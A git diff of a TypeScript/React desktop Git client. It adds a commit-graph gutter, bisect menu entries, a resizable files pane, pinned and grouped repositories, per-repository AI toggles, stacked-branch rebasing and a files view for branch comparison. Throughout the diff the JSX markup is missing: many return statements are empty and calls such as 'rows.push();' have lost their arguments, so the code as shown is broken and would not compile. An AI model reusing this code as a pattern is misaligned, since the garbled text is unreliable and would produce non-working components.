+ ) : null} + {aiAvailable ? ( + +
+
+ ); + } +} diff --git a/src/renderer/src/components/HistoryTab.tsx b/src/renderer/src/components/HistoryTab.tsx index a3f797d..5e953f2 100644 --- a/src/renderer/src/components/HistoryTab.tsx +++ b/src/renderer/src/components/HistoryTab.tsx @@ -1,9 +1,12 @@ -import React, { memo, useCallback, useEffect, useRef, useState } from 'react'; -import type { Commit, CommitSignature, HistoryQuery, SignatureStatus } from '@shared/types'; +import React, { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { markBisect, startBisectFrom } from '../state/reflog'; +import { aiEnabled as aiOn } from '@shared/ai-model'; +import { extendGraph, type Graph, type GraphRow } from '@shared/graph'; +import type { Commit, CommitSignature, HistoryQuery, OperationKind, SignatureStatus } from '@shared/types'; import { isMac } from '../api'; import * as actions from '../state/actions'; import { historyFilterActive, historyReorderDisabled } from '../state/actions'; -import { openDialog, patchHistory, setPopover, store, useAppStore } from '../state/store'; +import { openDialog, patchHistory, setPopover, store, useAppStore, useAiEnabled } from '../state/store'; import { CommitFileRow } from './ChangesTab'; import { onListKeyDown } from '../lib/listKeys'; import { Avatar, Badge, Button, Callout, Checkbox, FilterInput, Icon, RelativeTime, Spinner, TextField, openContextMenu, type IconName, type MenuItem } from './ui'; @@ -12,6 +15,72 @@ import { useWindowedRows } from '../lib/windowing'; const COMMIT_ROW_ESTIMATES = { row: 60 }; const commitRowKind = (): string => 'row'; +const FILES_WIDTH_KEY = 'gitgood.commitFilesWidth'; +const FILES_WIDTH_MIN = 160; +const FILES_WIDTH_MAX = 640; +const FILES_WIDTH_DEFAULT = 280; +const FILES_WIDTH_STEP = 16; + +function loadFilesWidth(): number { + try { + const n = Number(localStorage.getItem(FILES_WIDTH_KEY)); + return Number.isFinite(n) && n >= FILES_WIDTH_MIN && n <= FILES_WIDTH_MAX ? n : FILES_WIDTH_DEFAULT; + } catch { + return FILES_WIDTH_DEFAULT; + } +} + +/** Drag handle on the right edge of the commit's changed-files pane. The width is written straight to the DOM while dragging and committed (state + localStorage) on release; arrow keys resize too. The `.commit-files` CSS min/max-width keep it usable in narrow windows, and phone/tablet-portrait layouts hide the handle and override the width. */ +function FilesResizer({ width, onCommit }: { width: number; onCommit: (width: number) => void }): React.JSX.Element { + const [active, setActive] = useState(false); + const clamp = (w: number, pane: HTMLElement): number => { + const available = pane.parentElement?.clientWidth ?? FILES_WIDTH_MAX; + return Math.round(Math.max(FILES_WIDTH_MIN, Math.min(FILES_WIDTH_MAX, available * 0.6, w))); + }; + const onMouseDown = (e: React.MouseEvent): void => { + const pane = e.currentTarget.parentElement; + if (!pane) return; + e.preventDefault(); + const startX = e.clientX; + const startWidth = width; + let next = width; + setActive(true); + const move = (ev: MouseEvent): void => { + next = clamp(startWidth + ev.clientX - startX, pane); + pane.style.setProperty('--commit-files-width', `${next}px`); + }; + const up = (): void => { + window.removeEventListener('mousemove', move); + window.removeEventListener('mouseup', up); + setActive(false); + onCommit(next); + }; + window.addEventListener('mousemove', move); + window.addEventListener('mouseup', up); + }; + const onKeyDown = (e: React.KeyboardEvent): void => { + const pane = e.currentTarget.parentElement; + const delta = e.key === 'ArrowLeft' ? -FILES_WIDTH_STEP : e.key === 'ArrowRight' ? FILES_WIDTH_STEP : 0; + if (!pane || !delta) return; + e.preventDefault(); + onCommit(clamp(width + (e.shiftKey ? delta * 4 : delta), pane)); + }; + return ( +
+ ); +} + const SIGNATURE_BADGES: Partial string }>> = { good: { icon: 'check-circle', className: 'sig-good', label: (signer) => `Good signature${signer ? ` from ${signer}` : ''}` }, bad: { icon: 'x-circle', className: 'sig-bad', label: () => 'Bad signature' }, @@ -31,12 +100,29 @@ function SignatureBadge({ signature }: { signature: CommitSignature | null }): R return ; } +/** Bisect entries: start (this commit is good / bad) when idle, otherwise mark this commit while a bisect runs. */ +function bisectMenuItems(commit: Commit, operation: OperationKind): MenuItem[] { + if (operation === 'bisect') { + return [ + { label: 'Bisect: mark as good', icon: 'check-circle', onClick: () => void markBisect('good', commit.sha) }, + { label: 'Bisect: mark as bad', icon: 'x-circle', onClick: () => void markBisect('bad', commit.sha) }, + { label: 'Bisect: skip', icon: 'skip', onClick: () => void markBisect('skip', commit.sha) }, + ]; + } + const label = `${commit.shortSha} ${commit.summary}`; + const title = operation === 'none' ? undefined : 'Finish the operation in progress first'; + return [ + { label: 'Bisect: this commit is good (bad = HEAD)', icon: 'check-circle', disabled: operation !== 'none', title, onClick: () => startBisectFrom(commit.sha, label, 'good') }, + { label: 'Bisect: this commit is bad…', icon: 'x-circle', disabled: operation !== 'none', title, onClick: () => startBisectFrom(commit.sha, label, 'bad') }, + ]; +} + function commitMenu(commit: Commit, selected: string[]): MenuItem[] { const s = store.get(); const repo = s.currentRepo; const isHead = s.status?.branch.sha === commit.sha; const tags = commit.refs.filter((r) => r.startsWith('tag: ')).map((r) => r.slice(5)); - const aiEnabled = (s.settings?.ai.provider ?? 'disabled') !== 'disabled'; + const aiEnabled = aiOn(s.settings, s.currentRepo); if (selected.length > 1 && selected.includes(commit.sha)) { const target = s.history.commits.filter((c) => selected.includes(c.sha)).pop()!; const tidyReason = aiEnabled ? actions.tidyBranchDisabledReason(selected) : 'AI features are turned off'; @@ -62,6 +148,8 @@ function commitMenu(commit: Commit, selected: string[]): MenuItem[] { { label: 'Checkout commit', onClick: () => void actions.checkoutCommit(commit.sha) }, { label: 'Drop commit…', danger: true, onClick: () => openDialog({ kind: 'confirm', title: 'Drop commit?', message: `"${commit.summary}" will be removed from the branch history. Commits after it are rewritten.`, confirmLabel: 'Drop commit', danger: true, onConfirm: () => void actions.dropCommit(commit.sha) }) }, { type: 'separator' }, + ...bisectMenuItems(commit, s.status?.operation.kind ?? 'none'), + { type: 'separator' }, { label: 'Copy SHA', onClick: () => void actions.copyToClipboard(commit.sha, 'SHA copied') }, ...(tags.length ? [{ label: 'Copy tag names', onClick: () => void actions.copyToClipboard(tags.join('\n'), 'Tags copied') }] : []), { label: 'View on GitHub', icon: 'external', onClick: () => repo?.github && void actions.openExternal(`${repo.github.url}/commit/${commit.sha}`), disabled: !repo?.github }, @@ -84,6 +172,10 @@ export function HistoryTab(): React.JSX.Element { const win = useWindowedRows(listEl, { count: history.commits.length, kindOf: commitRowKind, keyOf: commitKey, estimates: COMMIT_ROW_ESTIMATES, resetKey: history.path ?? '' }); const filterActive = historyFilterActive(history); const reorderDisabled = historyReorderDisabled(history); + // Lanes are extended incrementally per loaded page (see extendGraph); `history.graph` is false while a filter/path narrows the list. + const graphRef = useRef(null); + const graph = useMemo(() => (graphRef.current = history.graph ? extendGraph(graphRef.current, history.commits) : null), [history.graph, history.commits]); + const graphLanes = graph ? Math.min(graph.width, GRAPH_MAX_LANES) : 0; useEffect(() => { const el = sentinel.current; @@ -121,7 +213,7 @@ export function HistoryTab(): React.JSX.Element { const rows: React.ReactNode[] = []; for (let i = win.start; i < win.end; i++) { const c = history.commits[i]; - rows.push(); + rows.push(); } return ( @@ -252,7 +344,7 @@ export function HistoryTab(): React.JSX.Element { ); } -const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpushed, dragOver, draggable, verifySignatures, rowRef, onDragOver, onDragLeave, onDragEnd, onDrop }: { commit: Commit; selected: boolean; inactive: boolean; unpushed: boolean; dragOver: boolean; draggable: boolean; verifySignatures: boolean; rowRef: (el: HTMLElement | null) => void; onDragOver: (sha: string, e: React.DragEvent) => void; onDragLeave: (sha: string) => void; onDragEnd: () => void; onDrop: (sha: string) => void }): React.JSX.Element { +const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpushed, dragOver, draggable, verifySignatures, graph, graphLanes, rowRef, onDragOver, onDragLeave, onDragEnd, onDrop }: { commit: Commit; selected: boolean; inactive: boolean; unpushed: boolean; dragOver: boolean; draggable: boolean; verifySignatures: boolean; graph: GraphRow | null; graphLanes: number; rowRef: (el: HTMLElement | null) => void; onDragOver: (sha: string, e: React.DragEvent) => void; onDragLeave: (sha: string) => void; onDragEnd: () => void; onDrop: (sha: string) => void }): React.JSX.Element { const tags = c.refs.filter((r) => r.startsWith('tag: ')).map((r) => r.slice(5)); const branchesRefs = c.refs.filter((r) => !r.startsWith('tag: ') && r !== 'HEAD'); return ( @@ -287,6 +379,7 @@ const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpus if (!e.currentTarget.title) e.currentTarget.title = `${c.shortSha} · ${c.author.name} · ${new Date(c.author.date).toLocaleString()}`; }} > + {graph ? : null} @@ -329,9 +422,32 @@ const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpus ); }); +const GRAPH_MAX_LANES = 10; +const GRAPH_LANE_W = 12; +/** Must match `.commit-row`'s fixed desktop height (components.css); the gutter is hidden on phone layouts, where rows grow. */ +const GRAPH_ROW_H = 60; + +/** One row's slice of the commit graph: line segments in lane colours plus the commit's node. Lanes past GRAPH_MAX_LANES are squeezed into the last column. */ +const GraphGutter = memo(function GraphGutter({ row, lanes }: { row: GraphRow; lanes: number }): React.JSX.Element { + const mid = GRAPH_ROW_H / 2; + const x = (lane: number) => Math.min(lane, lanes - 1) * GRAPH_LANE_W + GRAPH_LANE_W / 2; + return ( + + ); +}); + /** Form-control equivalent of the search box's `key:value` syntax; two-way synced through `history.query` (see setHistoryQuery). */ function HistoryFilterPopover(): React.JSX.Element { const query = useAppStore((s) => s.history.query); + const showGraph = useAppStore((s) => s.settings?.historyGraph ?? false); useEffect(() => { const onDown = (e: MouseEvent) => { const target = e.target as HTMLElement; @@ -364,6 +480,7 @@ function HistoryFilterPopover(): React.JSX.Element { update({ before: e.target.value || null })} />
update({ allRefs: v })} label="Search every branch, tag and remote" /> + void actions.updateSettings({ historyGraph: v })} label="Show commit graph (hidden while searching or filtering)" />
@@ -379,8 +496,17 @@ export function CommitDetailsPane(): React.JSX.Element { const repo = useAppStore((s) => s.currentRepo); const status = useAppStore((s) => s.status); const verifySignatures = useAppStore((s) => s.settings?.historyVerifySignatures ?? false); - const aiEnabled = useAppStore((s) => (s.settings?.ai.provider ?? 'disabled') !== 'disabled'); + const aiEnabled = useAiEnabled(); const [expanded, setExpanded] = useState(false); + const [filesWidth, setFilesWidth] = useState(loadFilesWidth); + const commitFilesWidth = useCallback((width: number): void => { + setFilesWidth(width); + try { + localStorage.setItem(FILES_WIDTH_KEY, String(width)); + } catch { + /* private mode / storage disabled: keep the width for this session only */ + } + }, []); if (history.selectedShas.length > 1) { const selectedCommits = history.commits.filter((c) => history.selectedShas.includes(c.sha)); @@ -469,7 +595,7 @@ export function CommitDetailsPane(): React.JSX.Element { ) : null}
-
+
{visibleFiles.length} {history.matchingFiles ? 'matching' : 'changed'} file{visibleFiles.length === 1 ? '' : 's'} @@ -500,6 +626,7 @@ export function CommitDetailsPane(): React.JSX.Element { /> ))}
+
diff --git a/src/renderer/src/components/Setup.tsx b/src/renderer/src/components/Setup.tsx index 35370fc..847df9c 100644 --- a/src/renderer/src/components/Setup.tsx +++ b/src/renderer/src/components/Setup.tsx @@ -1,5 +1,6 @@ import React from 'react'; import type { ToolsState } from '@shared/types'; +import { MIN_TOOL_VERSIONS } from '@shared/util'; import { isMac, isWindows } from '../api'; import * as actions from '../state/actions'; import { openDialog } from '../state/store'; @@ -18,7 +19,7 @@ export function SetupScreen({ tools }: { tools: ToolsState }): React.JSX.Element
- Git {tools.git.installed ? `${tools.git.version} found` : 'not found'} + Git {tools.git.installed ? `${tools.git.version} found` : `not found (Git ${MIN_TOOL_VERSIONS.git} or newer required)`} {!tools.git.installed ? ( Install with {gitInstall} or download from .{tools.git.error ? ` (${tools.git.error})` : ''} @@ -31,13 +32,16 @@ export function SetupScreen({ tools }: { tools: ToolsState }): React.JSX.Element
- GitHub CLI {tools.gh.installed ? `${tools.gh.version} found` : 'not found (needed for GitHub features)'} - {!tools.gh.installed ? ( + GitHub CLI {tools.gh.installed ? `${tools.gh.version} found` : tools.gh.pending ? 'checking…' : `not found (${MIN_TOOL_VERSIONS.gh} or newer; needed for GitHub features)`} + {!tools.gh.installed && tools.gh.pending ? null : !tools.gh.installed ? ( Install with {ghInstall} or download from . ) : ( - {tools.gh.path} + <> + {tools.gh.path} + {tools.gh.outdated ? Older than the supported minimum {tools.gh.minVersion}, so GitHub features may fail. Update with {ghInstall} or download from . : null} + )}
diff --git a/src/renderer/src/components/Toolbar.tsx b/src/renderer/src/components/Toolbar.tsx index 8bc77bf..91b0fcb 100644 --- a/src/renderer/src/components/Toolbar.tsx +++ b/src/renderer/src/components/Toolbar.tsx @@ -3,7 +3,7 @@ import type { Branch, PrTriage, PullRequest, RepositoryInfo, TriageNextAction, T import { compareStrings, formatRelativeTime } from '@shared/util'; import { invoke, isMac } from '../api'; import * as actions from '../state/actions'; -import { openDialog, setPopover, store, useAppStore } from '../state/store'; +import { openDialog, setPopover, store, useAppStore, useAiEnabled } from '../state/store'; import { Avatar, Badge, Button, FilterInput, Icon, RelativeTime, Spinner, openContextMenu, useFilter, type MenuItem } from './ui'; import { PHONE_QUERY, PhoneBackButton, useMediaQuery } from './Mobile'; @@ -20,7 +20,8 @@ export function Toolbar(): React.JSX.Element { const prsList = useAppStore((s) => s.prs.list); const triageCache = useAppStore((s) => s.triage.byNumber); const ghLogin = useAppStore((s) => s.tools?.ghAccount?.login ?? null); - const triageEnabled = settings?.ai.provider !== 'disabled' && !!repo?.github; + const aiOn = useAiEnabled(); + const triageEnabled = aiOn && !!repo?.github; const waitingOnYouCount = useMemo(() => (triageEnabled ? actions.waitingOnYouPrs(prsList, triageCache, ghLogin).length : 0), [triageEnabled, prsList, triageCache, ghLogin]); const phone = useMediaQuery(PHONE_QUERY); const phonePane = useAppStore((s) => s.phonePane); @@ -137,7 +138,7 @@ export function Toolbar(): React.JSX.Element { AI resolving…
) : null} - {settings?.ai.provider !== 'disabled' && repo && status?.hasConflicts ? ( + {aiOn && repo && status?.hasConflicts ? ( @@ -204,24 +205,36 @@ function RepositoryPopover(): React.JSX.Element { const topLevel = useMemo(() => repos.filter((r) => !r.worktreeOf && !r.parentRepoId && (matchedIds.has(r.id) || childrenOf(r.id).length > 0)), [repos, matchedIds, query]); // eslint-disable-line react-hooks/exhaustive-deps const groups = useMemo(() => { + const byName = (a: RepositoryInfo, b: RepositoryInfo) => compareStrings(a.alias ?? a.name, b.alias ?? b.name); + const pinned: RepositoryInfo[] = []; + const custom: Record = {}; const github: Record = {}; const other: RepositoryInfo[] = []; for (const r of topLevel) { - if (r.github) (github[r.github.owner] ??= []).push(r); + if (r.pinned) pinned.push(r); + else if (r.group) (custom[r.group] ??= []).push(r); + else if (r.github) (github[r.github.owner] ??= []).push(r); else other.push(r); } - const ownerNames = Object.keys(github).sort(compareStrings); - return { ownerNames, github, other }; + for (const list of Object.values(custom)) list.sort(byName); + return { pinned: pinned.sort(byName), customNames: Object.keys(custom).sort(compareStrings), custom, ownerNames: Object.keys(github).sort(compareStrings), github, other }; }, [topLevel]); const contextMenu = (e: React.MouseEvent, repo: RepositoryInfo) => { const items: MenuItem[] = [ + // Only the local desktop app can open more windows (its preload is the one that exposes `getPathForFile`). + ...(window.gitgoodBridge.getPathForFile ? [{ label: 'Open in New Window', onClick: () => { store.set({ popover: null }); void actions.openRepositoryInNewWindow(repo); }, disabled: repo.missing }, { type: 'separator' as const }] : []), { label: 'Open in external editor', onClick: () => void actions.openRepository(repo).then(() => actions.openInEditor()), disabled: repo.missing }, { label: 'Open in terminal', onClick: () => void actions.openRepository(repo).then(() => actions.openInShell()), disabled: repo.missing }, { label: 'Show in folder', onClick: () => void actions.openRepository(repo).then(() => actions.showInFolder()), disabled: repo.missing }, { type: 'separator' }, { label: 'Copy repository path', onClick: () => void actions.copyToClipboard(repo.path, 'Path copied') }, { label: repo.alias ? 'Change alias…' : 'Create alias…', onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'alias' })); } }, + { label: repo.pinned ? 'Unpin from top' : 'Pin to top', disabled: !!repo.worktreeOf || !!repo.parentRepoId, onClick: () => void actions.setRepoPrefs(repo, { pinned: !repo.pinned }) }, + { label: 'Move to group…', disabled: !!repo.worktreeOf || !!repo.parentRepoId, onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'alias' })); } }, + ...(repo.group ? [{ label: `Remove from “${repo.group}”`, onClick: () => void actions.setRepoPrefs(repo, { group: null }) }] : []), + { label: repo.aiDisabled ? 'Enable AI for this repository' : 'Disable AI for this repository', disabled: !!repo.worktreeOf, onClick: () => void actions.setRepoAiDisabled(repo, !repo.aiDisabled) }, + { label: repo.githubAccount ? `GitHub account: @${repo.githubAccount.login}…` : 'GitHub account…', disabled: !repo.github || !!repo.worktreeOf || repo.missing, onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'account' })); } }, { type: 'separator' }, repo.worktreeOf ? { label: 'Manage worktrees…', onClick: () => { store.set({ popover: null }); void actions.openRepository(repos.find((r) => r.id === repo.worktreeOf) ?? repo).then(() => openDialog({ kind: 'worktrees' })); } } @@ -280,6 +293,18 @@ function RepositoryPopover(): React.JSX.Element {
{topLevel.length === 0 ?
{repos.length === 0 ? 'No repositories yet. Add or clone one to get started.' : 'No matching repositories.'}
: null} + {groups.pinned.length ? ( + <> +
Pinned
+ {groups.pinned.map(rowWithChildren)} + + ) : null} + {groups.customNames.map((name) => ( + +
{name}
+ {groups.custom[name].map(rowWithChildren)} +
+ ))} {groups.ownerNames.map((owner) => (
{owner}
@@ -307,12 +332,17 @@ function RepositoryPopover(): React.JSX.Element { const branchKeys = (b: Branch) => [b.name, b.lastCommitSubject, b.lastCommitAuthor]; +/** Branch-list marker for the current branch's stack: the current branch says what it is stacked on, the branches below it say they belong to the stack. */ +const stackNote = (b: Branch, parents: string[]): string | null => + b.kind !== 'local' ? null : b.isCurrent && parents.length ? `stacked on ${parents[parents.length - 1]}` : parents.includes(b.name) ? 'in current stack' : null; + function BranchPopover(): React.JSX.Element { usePopoverClose(); const repo = useAppStore((s) => s.currentRepo); const branches = useAppStore((s) => s.branches); const defaultBranch = useAppStore((s) => s.defaultBranch); const prs = useAppStore((s) => s.prs); + const stack = useAppStore((s) => s.stack); const [tab, setTab] = useState<'branches' | 'prs'>('branches'); const [query, setQuery] = useState(''); const listRef = useRef(null); @@ -349,6 +379,7 @@ function BranchPopover(): React.JSX.Element { { label: 'Squash and merge into current branch…', onClick: () => openDialog({ kind: 'merge', squash: true, preselect: b.name }), disabled: b.isCurrent }, { label: 'Rebase current branch onto…', onClick: () => openDialog({ kind: 'rebase', preselect: b.name }), disabled: b.isCurrent }, { label: 'Compare…', onClick: () => openDialog({ kind: 'compare' }) }, + ...(b.isCurrent && stack.parents.length ? [{ label: `Push stack (${stack.parents.length + 1} branches)…`, onClick: () => actions.pushStack() }] : []), { type: 'separator' }, { label: 'Create worktree for this branch…', icon: 'worktree', onClick: () => { store.set({ popover: null }); openDialog({ kind: 'add-worktree', startBranch: b.name }); } }, { type: 'separator' }, @@ -360,7 +391,7 @@ function BranchPopover(): React.JSX.Element { ]; openContextMenu(e, items); }, - [repo], + [repo, stack.parents], ); const row = (b: Branch) => ( @@ -368,7 +399,7 @@ function BranchPopover(): React.JSX.Element { {b.name} - {b.lastCommitSubject} + {[stackNote(b, stack.parents), b.lastCommitSubject].filter(Boolean).join(' · ')} {b.isCurrent ? : null} @@ -536,7 +567,7 @@ function TriageLine({ pr, cache, login }: { pr: PullRequest; cache: Record void }): React.JSX.Element { const filtered = useFilter(prs, query, prKeys); const current = useAppStore((s) => s.status?.branch.name ?? null); - const aiEnabled = useAppStore((s) => s.settings?.ai.provider !== 'disabled'); + const aiEnabled = useAiEnabled(); const triage = useAppStore((s) => s.triage); const login = useAppStore((s) => s.tools?.ghAccount?.login ?? null); const online = useOnline(); diff --git a/src/renderer/src/components/dialogs/BranchDialogs.tsx b/src/renderer/src/components/dialogs/BranchDialogs.tsx index 61c22c8..851137c 100644 --- a/src/renderer/src/components/dialogs/BranchDialogs.tsx +++ b/src/renderer/src/components/dialogs/BranchDialogs.tsx @@ -1,10 +1,13 @@ import React, { useEffect, useMemo, useState } from 'react'; -import type { Branch, Commit } from '@shared/types'; +import type { Branch, Commit, CommitFile, FileDiff } from '@shared/types'; import { compareStrings, isValidBranchName, sanitizeBranchName } from '@shared/util'; import { errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; import { closeDialog, openDialog, useAppStore } from '../../state/store'; -import { Button, Callout, Checkbox, Dialog, FilterInput, Icon, RelativeTime, Spinner, TextField, useFilter } from '../ui'; +import { Button, Callout, Checkbox, Dialog, FilterInput, Icon, RelativeTime, Segmented, Spinner, TextField, useFilter } from '../ui'; +import { CommitFileRow } from '../ChangesTab'; +import { ImageDiff } from '../diff/ImageDiff'; +import { TextDiff } from '../diff/TextDiff'; const branchKeys = (b: Branch) => [b.name, b.lastCommitSubject]; @@ -200,12 +203,14 @@ export function MergeDialog({ squash, preselect, rebase }: { squash: boolean; pr const [selected, setSelected] = useState(() => branches.find((b) => b.name === preselect) ?? null); const compare = useCompare(current, selected?.name ?? null); const [busy, setBusy] = useState(false); + const stack = useAppStore((s) => s.stack); + const [updateRefs, setUpdateRefs] = useState(true); const title = rebase ? `Rebase ${current}` : squash ? `Squash and merge into ${current}` : `Merge into ${current}`; const verb = rebase ? 'Rebase' : squash ? 'Squash and merge' : 'Merge'; const run = async () => { if (!selected) return; setBusy(true); - if (rebase) await actions.rebaseOnto(selected.name); + if (rebase) await actions.rebaseOnto(selected.name, stack.parents.length > 0 && stack.canUpdateRefs && updateRefs); else await actions.mergeBranch(selected.name, squash); setBusy(false); }; @@ -238,16 +243,90 @@ export function MergeDialog({ squash, preselect, rebase }: { squash: boolean; pr > b.isCurrent} /> {rebase && status && status.files.length ? You have uncommitted changes. Commit or stash them before rebasing. : null} + {rebase && stack.parents.length ? ( + <> + Stack: {[...stack.parents, current].join(' → ')} + + {!stack.canUpdateRefs ?

Updating dependent branches needs Git 2.38 or newer.

: null} + + ) : null} ); } +/** "Files changed" view of the Compare dialog: the `base...head` file list and the shared TextDiff rendering of `repo.diff.range` for the selected file. */ +function RangeFiles({ base, head }: { base: string; head: string }): React.JSX.Element { + const repo = useAppStore((s) => s.currentRepo); + const settings = useAppStore((s) => s.settings); + const [files, setFiles] = useState(null); + const [selected, setSelected] = useState(null); + const [diff, setDiff] = useState(null); + const [error, setError] = useState(null); + useEffect(() => { + let cancelled = false; + setFiles(null); + setSelected(null); + setError(null); + if (!repo) return; + void invoke('repo.diff.rangeFiles', repo.path, base, head) + .then((f) => !cancelled && (setFiles(f), setSelected(f[0]?.path ?? null))) + .catch((err) => !cancelled && setError(errorMessage(err))); + return () => { + cancelled = true; + }; + }, [repo, base, head]); + useEffect(() => { + let cancelled = false; + setDiff(null); + if (!repo || !selected) return; + void invoke('repo.diff.range', repo.path, base, head, selected, { hideWhitespace: settings?.diffHideWhitespace ?? false }) + .then((d) => !cancelled && setDiff(d)) + .catch((err) => !cancelled && setDiff({ kind: 'empty', reason: errorMessage(err) })); + return () => { + cancelled = true; + }; + }, [repo, base, head, selected, settings?.diffHideWhitespace]); + if (error) return {error}; + if (!files) return ; + if (files.length === 0) return

No file changes between {base} and {head}.

; + return ( +
+
+ {files.map((f) => ( + setSelected(f.path)} /> + ))} +
+
+ {!diff ? ( + + ) : diff.kind === 'text' ? ( + + ) : diff.kind === 'image' ? ( + + ) : ( +
+ + {diff.kind === 'empty' ? diff.reason : diff.kind === 'binary' ? 'Binary file not shown.' : diff.kind === 'too-large' ? 'This diff is too large to display.' : 'Preview not available for this change.'} +
+ )} +
+
+ ); +} + export function CompareDialog(): React.JSX.Element { const branches = useAppStore((s) => s.branches); const status = useAppStore((s) => s.status); const repo = useAppStore((s) => s.currentRepo); const current = status?.branch.name ?? 'HEAD'; const [selected, setSelected] = useState(null); + const [tab, setTab] = useState<'commits' | 'files'>('commits'); const compare = useCompare(selected?.name ?? null, current); return ( Close}> @@ -259,6 +338,16 @@ export function CompareDialog(): React.JSX.Element { ) : compare.loading ? ( ) : ( + <> + + {tab === 'files' ? : (

@@ -291,6 +380,8 @@ export function CompareDialog(): React.JSX.Element { {repo?.github ? : null}

+ )} + )}
diff --git a/src/renderer/src/components/dialogs/CommitDialogs.tsx b/src/renderer/src/components/dialogs/CommitDialogs.tsx index 7730589..70fed47 100644 --- a/src/renderer/src/components/dialogs/CommitDialogs.tsx +++ b/src/renderer/src/components/dialogs/CommitDialogs.tsx @@ -1,7 +1,7 @@ import React, { useEffect, useState } from 'react'; import type { Commit, ErrorFix, GitErrorInfo } from '@shared/types'; import * as actions from '../../state/actions'; -import { closeDialog, openDialog, useAppStore } from '../../state/store'; +import { closeDialog, openDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Callout, Checkbox, Dialog, Spinner, TextField } from '../ui'; import { DISCARD_CHANGES_BODY, DISCARD_CHANGES_TITLE } from '../../state/strings'; @@ -41,7 +41,7 @@ function ErrorFixRow({ fix, retry }: { fix: ErrorFix; retry?: () => void }): Rea function ErrorExplainSection({ info, retryable, retry }: { info: GitErrorInfo; retryable: boolean; retry?: () => void }): React.JSX.Element | null { const settings = useAppStore((s) => s.settings); const explain = useAppStore((s) => s.errorExplain); - const eligible = settings?.ai.provider !== 'disabled' && !DEDICATED_FLOW_CODES.has(info.code); + const eligible = useAiEnabled() && !DEDICATED_FLOW_CODES.has(info.code); const automatic = eligible && settings?.ai.explainErrorsAutomatically === true && info.code === 'unknown'; const [expanded, setExpanded] = useState(automatic); diff --git a/src/renderer/src/components/dialogs/ConflictsDialog.tsx b/src/renderer/src/components/dialogs/ConflictsDialog.tsx index 62f71ad..b0dfb5f 100644 --- a/src/renderer/src/components/dialogs/ConflictsDialog.tsx +++ b/src/renderer/src/components/dialogs/ConflictsDialog.tsx @@ -1,6 +1,7 @@ +import { modelFor } from '@shared/ai-model'; import React, { useMemo } from 'react'; import * as actions from '../../state/actions'; -import { closeDialog, useAppStore } from '../../state/store'; +import { closeDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Callout, Dialog, Icon, PathLabel, Spinner } from '../ui'; export function ConflictsDialog(): React.JSX.Element { @@ -22,7 +23,7 @@ export function ConflictsDialog(): React.JSX.Element { [rawConflicted, conflictResolutions], ); const kind = operation?.kind ?? 'none'; - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const opLabel = kind === 'merge' ? `merging ${operation?.targetName ?? 'branch'} into ${status?.branch.name ?? 'current branch'}` : kind === 'rebase' ? `rebasing ${operation?.headName ?? 'branch'} onto ${operation?.ontoName ?? operation?.onto?.slice(0, 7) ?? 'target'}` : kind === 'cherry-pick' ? `cherry-picking ${operation?.targetSha?.slice(0, 7) ?? ''}` : kind === 'revert' ? `reverting ${operation?.targetSha?.slice(0, 7) ?? ''}` : 'this operation'; const done = conflicted.length === 0; const continueLabel = kind === 'merge' ? 'Commit merge' : kind === 'rebase' ? 'Continue rebase' : kind === 'cherry-pick' ? 'Continue cherry-pick' : kind === 'revert' ? 'Continue revert' : 'Continue'; @@ -64,7 +65,7 @@ export function ConflictsDialog(): React.JSX.Element { ) : null} - Uses {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : settings?.ai.model}; every resolution stays reviewable in the diff and can be undone. + Uses {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : settings ? modelFor(settings.ai, 'resolver') : ''}; every resolution stays reviewable in the diff and can be undone.
) : ( diff --git a/src/renderer/src/components/dialogs/GitHubDialogs.tsx b/src/renderer/src/components/dialogs/GitHubDialogs.tsx index 182e184..ad0150d 100644 --- a/src/renderer/src/components/dialogs/GitHubDialogs.tsx +++ b/src/renderer/src/components/dialogs/GitHubDialogs.tsx @@ -1,9 +1,10 @@ +import { aiProviderLabel } from '@shared/ai-model'; import React, { useEffect, useRef, useState } from 'react'; import type { CheckRun, PrDraft, PullRequest } from '@shared/types'; import { appendDraftFooter, PR_DRAFT_FOOTER } from '@shared/util'; import { errorInfo, errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; -import { closeDialog, useAppStore } from '../../state/store'; +import { closeDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Badge, Button, Callout, Checkbox, Dialog, Icon, RelativeTime, Spinner, TextField } from '../ui'; import { NOTICE_KEY } from './ReviewDialogs'; @@ -20,11 +21,11 @@ export function SignInDialog(): React.JSX.Element { const login = useAppStore((s) => s.login); const tools = useAppStore((s) => s.tools); const account = tools?.ghAccount ?? null; - const ghMissing = tools ? !tools.gh.installed : false; + const ghMissing = tools ? !tools.gh.installed && !tools.gh.pending : false; + // Opened while already signed in = "Add another account" (or a scope refresh): never auto-close then. + const openedSignedIn = useRef(!!account); useEffect(() => { - // Auto-close once signed in — but not while a scope refresh (grantNotificationsScope) is - // deliberately reusing this dialog for an already-signed-in account. - if (account && !login.inProgress) closeDialog(); + if (account && !login.inProgress && !openedSignedIn.current) closeDialog(); // eslint-disable-next-line react-hooks/exhaustive-deps }, [account]); return ( @@ -114,14 +115,16 @@ export function ForcePushDialog(): React.JSX.Element { export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): React.JSX.Element { const repo = useAppStore((s) => s.currentRepo); const settings = useAppStore((s) => s.settings); - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const status = useAppStore((s) => s.status); const branches = useAppStore((s) => s.branches); const defaultBranch = useAppStore((s) => s.defaultBranch); const commits = useAppStore((s) => s.history.commits); const draftProgress = useAppStore((s) => s.ai['']); const head = status?.branch.name ?? ''; - const [base, setBase] = useState(defaultBranch ?? 'main'); + const 